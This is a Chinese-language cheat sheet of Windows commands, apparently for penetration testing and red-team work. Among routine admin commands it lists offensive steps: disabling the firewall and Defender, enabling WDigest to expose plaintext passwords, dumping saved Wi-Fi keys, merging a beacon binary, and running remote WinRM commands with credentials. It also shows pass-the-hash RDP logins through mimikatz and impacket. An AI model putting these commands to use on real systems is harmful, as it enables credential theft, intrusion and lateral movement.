解决反弹shell乱码
chcp 65001 #修复乱码
文件融合
copy Trace.exe/b +beacon.exe/a 2.exe #将Trace与beacon融合成为 2.exe,由于破坏了pe结构所以无法执行。
日常运维
任务管理器taskmgr
查看已打补丁wmic qfe get Caption,Description,HotFixID,InstalledOn
路由表route print
查找某个文件的路径 dir /s 1.exe
计算机管理compmgmt.msc
查看当前是否有用户在线quers/query user
查看所有盘符wmic logicaldisk get caption,name
d盘下查找文件名为1.html的文件for /r D:/ %i in (*1.html*) do @echo %i
d盘下查找文件名为1.html的文件dir /s/a-d/b D:\*1.html
关闭防火墙netsh firewall set opmode disable
启动被禁用的域账户dsmod user CN=lisi,OU=blueteam,OU=company,DC=test,DC=com -disabled no
桌面进程 explorer
任务计划程序 taskschd.msc
组策略设置:gpedit.msc
appwiz.cpl
添加与删除
setspn -U zhangsan
#查询zhangsan的spn
sysdm.cpl
系统属性页面可以配置环境变量
explorer .
#打开当前路径下文件夹的图形化页面
tasklist /svc
#查看当前的任务列表
winrm set winrm/config/client @{TrustedHosts="*"}
手动配置当前服务器允许被任意主机连
taskkill /f /pid 123
#强制终止pid为123的任务
gpedit.msc
#打开本地组策略管理
eventvwr
#打开日志页面
services.msc
#打开服务页面
dsquery computer | dsget computer -dn -sid
#在域控上执行可查看机器账户sid
gpupdate /force
强制同步组策略
runas /user:administrator(用户名) cmd.exe(应用程序的名字)
#cmd切换用户
systeminfo | find /i "kB"
#查看系统补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
#查看rdp端口
klist
#检验缓存票据
klist purge
#删除所有票据
域用户切换为本地用户.\username
netsh advfirewall set allprofiles state off
#关闭所有防火墙,需要管理员权限
adsiedit.msc
# 通过ADSI修改LDAP属性
certutil -hashfile 路径 MD5
#获取文件md5的方式
wmic process get caption,commandline /value >> tmp.txt
#分析进程参数
#开启3389(需要管理员权限)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#查看远程桌面
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
tasklist /svc | find /i "termservice"
netstat -ano | find /i "8500"
#关闭defender(管理员权限)
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD
#读取wifi密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
#powershell弹窗
Add-Type -AssemblyName Microsoft.VisualBasic; [Microsoft.VisualBasic.Interaction]::MsgBox("xxxxx", "OKOnly,MsgBoxSetForeground,SystemModal,Exclamation", "")
#日志事件id
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
4720 创建用户
4697 7045 PsExec
#开启wdigest Auth读取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#关闭wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
#强制锁屏
rundll32 user32.dll,LockWorkStation
环境变量相关命令
wmic ENVIRONMENT where name="PATH" get UserName,VariableValue
#查询环境变量
wmic ENVIRONMENT where name="os" set VariableValue="Windows_NT"
#修改环境变量并覆盖原有的值
wmic ENVIRONMENT where "name='myTemp'" delete
#删除环境变量
wmic ENVIRONMENT where "name='PATH' and username='<system>'" set VariableValue="%PATH%;T:\myScripts"
#修改环境变量,在原有的值后增加新的值
wmic ENVIRONMENT create name="myTemp",username="<system>",VariableValue="%OS%%SystemDrive% "
#新增环境变量
补充:windows端口转发
需要管理员权限且需要提前关闭防火墙。
以下命令的意思是将172.16.250.3的22端口转发到本地的5555端口上。
netsh interface portproxy add v4tov4 listenport=5555 connectport=22 connectaddress=172.16.250.3 protocol=tcp
winrm相关命令
#查看WinRM状态
winrm enumerate winrm/config/listener
#开启WinRM远程管理
Enable-PSRemoting –force
#设置WinRM自启动
Set-Service WinRM -StartMode Automatic
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口
winrm quickconfig -q
#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口
winrm quickconfig -transport:https
#查看WinRM的配置
winrm get winrm/config
#查看WinRM的监听器
winrm e winrm/config/listener
#为WinRM服务配置认证
winrm set winrm/config/service/auth '@{Basic="true"}'
#修改WinRM默认端口
winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'
#为WinRM服务配置加密方式为允许非加密:
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
#设置只允许指定IP远程连接WinRM
winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'
#执行命令
winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'
#在dc机器上面执行命令并且指定用户名和密码
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:one\administrator -p:q123456.
winrm横移防御方法:
可以通过HTTP请求与响应中的明文部分捕获WinRM认证及操作的行为,例如Microsoft WinRM Client、Encrypted Boundary、HTTP-SPNEGO-session-encrypted等关键字,事件ID 91
补充:PTH登陆RDP
修改注册表:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #查询结果
利用过程
在本地计算机使用mimikatz登陆远程主机
privilege::debug
sekurlsa::pth /user:administrator /domain:test /ntlm:3dbde697d71690a769204beb12283678 "/run:mstsc.exe /restrictedadmin"
使用impacket测试远程主机是否可以用PTH进行RDP
python3 rdp_check.py test/administrator@192.168.124.5 -hashes :3dbde697d71690a769204beb12283678
补充:windows查看登陆过的wifi的密码
netsh wlan show profile 查看链接过的wifi的配置文件名
netsh wlan show profile test123 key=clear | findstr “关键内容”#查看名为test123的wifi的密码